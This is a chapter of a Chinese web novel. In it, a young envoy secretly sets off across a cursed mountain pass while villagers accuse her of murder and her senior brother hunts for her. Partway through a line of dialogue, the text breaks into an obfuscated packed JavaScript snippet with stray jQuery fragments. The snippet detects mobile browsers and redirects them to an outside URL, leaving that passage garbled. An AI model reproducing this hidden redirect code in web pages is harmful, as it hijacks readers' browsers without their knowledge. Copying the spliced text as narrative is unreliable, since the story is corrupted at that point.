41. 山神之怒(七)

作品:《养大狼崽会被咬

    杨村长一大早就起来剁喂鸡的草料,一会快一会慢的。妻子张氏本来就有心口疼的毛病,让他这一顿敲的,心险些跳出嗓子眼,把人骂了一顿后让他出去捡柴火了。


    待他捡柴回来以后,才发现儿子杨时还没去驿站上值,正坐立不安的在屋里走来走去。


    见杨村长回来,杨时大步上前:“爹,那个寻访使来找我了,非要今天过鬼愁岭……咱们不能再拖了……”


    杨村长赶紧把门关上,犹豫了下,压低了声音道:


    “时儿,实在不行就让她走吧。就她一人过去,应当也没事的……”


    杨时反应极为激烈:“绝对不行!”


    门口几只晒着太阳昏昏欲睡的母鸡陡然受惊,“咯咯哒”着扑腾起来。


    杨村长:“你小点动静!”


    杨时脸上是恶狠狠的狰狞,“那岂不是告诉所有人这条路是能走的?当时那些怪病、还有山神的警告都是假的?事情一旦败露,我们怎么办?我怎么办!”


    他咬了咬牙,硬邦邦抛下一句,“那个什么寻访使要么自己知难而退,不再打鬼愁岭的主意。要么……就不能怪我做事太绝了。”


    村长的脸色一阵青一阵白,嘴唇动了动,但终究什么也没说出口。


    他长叹一声,杨时是他唯一的儿子,他除了帮他……没有别的选择。


    ……


    钥匙一拧,铁锁被打开,哐啷哗啦声响起,缠绕在栅栏上的锁链被一圈圈解下。


    杨时轻轻推开栅栏,朝晏涔和李藏机嘱咐道:“晏大人、李道长,可以过去了。二位路上千万要小心,要是遇上什么怪事,千万别逞强,掉头往回跑。先前村子里闹怪病的时候,一个个的上吐下泻惊颤不止,就跟撞鬼了一样,下官现在想起来还后怕……”


    李藏机站在一旁,眼睫微垂,微笑不变。


    晏涔精神抖擞地摆手:“行,你去忙吧,我们走了。”


    说罢,她紧了紧肩上的包袱,率先跨过那道原本封锁的入口,踏上了云山道长亲自勘舆的道路。


    官道两旁是嶙峋的山石,大喇喇地裸露在外,呈梯形向高处蔓延,直至没入山顶郁郁葱葱的密林之中。


    林间幽深暗沉,不见天日,时不时传来几声猿猴长啸与鸟雀惊鸣,走在路上又没有旁的行人,着实荒凉。


    鬼愁岭地形诡谲,官道虽是直穿鬼愁岭,却同样跌宕起伏。晏涔与李藏机翻过一道陡坡,身影很快便消失在官道尽头。


    杨时站在原地,盯着他们的背影消失处,嘴角勾起一抹怪异的笑容。


    沈释站在晏涔住的那间屋子前,抬起手想叩门,叫她起床做早课。


    还没敲下去,沈释手一顿,想起昨日晏涔那副魂不守舍、心事重重的模样,犹豫着止住了。


    师妹十七年没受过这种委屈,心情肯定很差,他会不会要求太严了?不然今日让她休息吧……


    这么想着,收回了手,转身准备离开。


    谁知沈释才转过身,身后的门扇便“哐当”一声撞开。


    成墨鞋都没穿就冲了出来,见到沈释,简直如抓住救命稻草,带着哭腔:“沈公子,晏姐姐不见了!”


    沈释霍然回身。


    他大踏步入内,看过晏涔的床铺,又打开柜子扫视了一遍。


    当时把师妹从京城带走时,她背了一个包袱,里面装着拂尘之类的东西,现在已经不见踪影。


    还有几件换洗衣裳也被带走了。


    沈释的心蓦地沉了下去,死死攥住柜门的把手,指节发白,手背绷起可怖的青筋。


    他劈头问道:“什么时候发现的?”


    成墨:“我刚醒就发现床上没人,然后就看见了桌上的纸条……”


    成墨手中攥着一张纸条,她递了过来,只见上面写着一行小字:


    对不住,有事先离开。


    沈释突地窒息了几瞬,这几个字好像化作墨色的绳索,攀上他的脖颈,死死勒住他的咽喉。


    他捏紧纸条边缘,眼底泛上一层血色。然而这样浓烈的情绪中并没有恨意,只是痛苦难以抑制,还有些茫然与恍惚。


    ……原来当年,师妹在他房中见到那张写着“对不住”三个字的纸条时,是这种感觉吗?


    沈释我行我素了五年,直到此刻才峰回路转,“柳暗花明”了一把师妹当年的位置。


    沈释神色沉得像要杀人,心想,咱俩真是都挺混账的。


    沈释深吸一口气,逼迫自己冷静下来,思考这到底是怎么一回事。


    晏涔不是能藏住事儿的,能瞒过日夜同住一屋的成墨,对他这个唯一的师兄也闭口不提,说明她出现这个想法不会太久,也就是这两天的事。


    前天表现还很正常,所以八成是昨天发生了什么。


    昨天。


    李藏机?


    ……他就说那小子不是好货!


    师妹杀人的嫌疑尚未洗清,以她的性子,绝不会因害怕自己被冤枉而逃避。


    她会离开的唯一动机,只能是发现了什么破局的办法。


    可到底是什么该死的办法让她非得自己冒险!


    沈释回到自己屋,拎了佩剑就往外走。


    又一道脚步声由远及近,阿粥迎面赶来。


    “公子,我们打听到了!当初云山道长执意炸开鬼愁岭修路,真的与‘云门十三品’有关!有村民家里的厢军记得,道长他们的确挖到了什么石头,应该就是指碑刻!”


    阿粥急刹住脚步,“公子……您这是怎么了?”


    沈释:“李藏机有什么异动?”


    “还没消息传过来。”阿粥还没弄清状况,“要现在再派人去他住处吗?”


    昨天所有人手都撒出去走访了,李藏机那边只匀了一个天枢卫盯着。但要是真刻意掩藏行踪,避人耳目也不会很难。


    沈释还没吩咐下一句,就听外面吵闹声此起彼伏。


    阿粥下意识按住了腰间剑柄,匆匆出门去查看情况。不多时回来,神情肃然起来,沉声回禀:


    “公子,村里又死人了。心口致命一刀,跟那四个人一样。村民们要晏姑娘出去给个说法。”


    沈释冷笑一声,脸上却不见一丝笑意。整个人跟冻了三万年的冰雕似的,眉目间轮廓线条被风沙打磨出五年,锋利逼人,冷出了肃杀凌厉之意。


    呼声模糊地从外面飘进来,依稀能听清“寻访使”几个字。


    成墨穿好鞋又跑出来,还拿了自己的弹弓。


    她明显有些害怕,但对晏涔的担心已经超过了那点恐惧。


    “偏偏这个时候死人,肯定又是栽赃。就算晏姐姐在,也不能出去任他们摆布,沈公子,我去吧……”


    沈释“唰”地拔出佩剑,雪白的剑光在眼前掠过,剑尖斜指地面。


    “碍事。我去砍了他们。”沈释冷漠道,说着就要抬腿。


    阿粥和成墨脸色一变,左右开弓拉住人:“冷静!公子!冷静!这会咱们随便动点什么粗都等于坐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17448773|197217||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    实了晏姑娘的罪名!”


    “晏姐姐还没找到呢!沈公子你得带我们去找啊!”


    “公子你不是说教晏姑娘那些本事就是为了让她在绝境中自保吗!晏姑娘是你亲手教出来的你要相信她不会有事啊啊啊……”


    沈释紧紧攥着剑。


    他亲手教出来的……


    沈释闭上眼,另一道理直气壮又隐隐委屈的声音在耳畔回响——


    “师兄你别生气了!我不该让你担心,你知道的我不会跟你说对不起的,所以你别生气了!”


    她从来不觉得自己会有错。


    “你教我的我全都用上了,我好着呢!”


    但是她说……他教她的全都有用。


    “我也不觉得你做错了什么事情,所以你也不能说对不起!”


    她还要强迫他不可以说对不起……


    很晏涔的理直气壮,很晏涔的安慰。


    还有那个伴随着这段话而来的拥抱……


    毫无保留的,温暖柔软的。


    全身心信任的。


    沈释有一瞬恍惚。


    原来自己那颗早就浸泡在鲜血里的麻木的心,也会感到柔软。


    阿粥心惊胆战地看着沈释眼底的血色如岩浆般翻涌着,继而不知怎么,又被某种令人惊骇的意志力,将那股暴戾强行压了回去。


    沈释闭上眼,长长呼出口气。


    再睁眼时,眸色已恢复冷酷沉静。


    这时,乌泱泱人群中突然有人高喊:“别在这里纠缠了!我方才瞧见那姓晏的鬼鬼祟祟,往鬼愁岭入口那边去了!”


    “什么?她这是要跑吗?”


    “肯定是,快走!咱们去把她抓回来,献给山神大人赎罪!”


    “一旦她走上那条路,山神大人定会发怒的,到时候宝山子村就完了——”


    人群本就在激愤的情绪中,稍一挑唆,都不需证实,就让所有人都抄起锄头铁锨往鬼愁岭方向冲去——


    陈宿:“我看谁敢动!”


    随着一声厉喝,隐在暗处的天枢卫鱼贯而出,如神兵降世般将骚乱的村民围困起来。


    刀剑出鞘声连成一片,森寒压迫的杀意令人不寒而栗。


    刀锋近在咫尺,宝山子村的男女老少们一时间噤若寒蝉,什么激怒、愤恨,全都在绝对的武力压制面前鸦雀无声。


    陈宿持刀站在门前,沈释从他身后走出来。


    “刚才是谁说看见晏寻访使的。”沈释一开口,便如饱饮鲜血的重剑出鞘横亘面前,令人不寒而栗。


    现场一时间无人回答。


    陈宿直接指着一个神情躲闪的年轻人:“那位。”


    天枢卫的刀随即抵上他的脖子。


    “哎哎哎官爷、官爷饶命啊!我说!我说!”年轻人求饶不迭,很快招了,“我就是看见那位晏大人今天一大早去了杨家,然后和杨驿丞一起往鬼愁岭方向去了……”


    沈释用那双毫无波澜的眼睛望过去,“李藏机在哪?”


    倒是有人大着胆子出了声,“我、我今早天不亮就看见李道长出门了……但是去哪了不知道。”


    沈释又问,“杨村长、杨驿丞可在?”


    村民们面面相觑,人群后面一个老人颤着举起了手,“老朽……在、在这……”


    却不见杨时踪影。


    “全都绑了。”沈释的语气里透着一股惯于发号施令的漠然,“杨村长单独关押。阿粥,你去审。陈宿,跟我去找人。”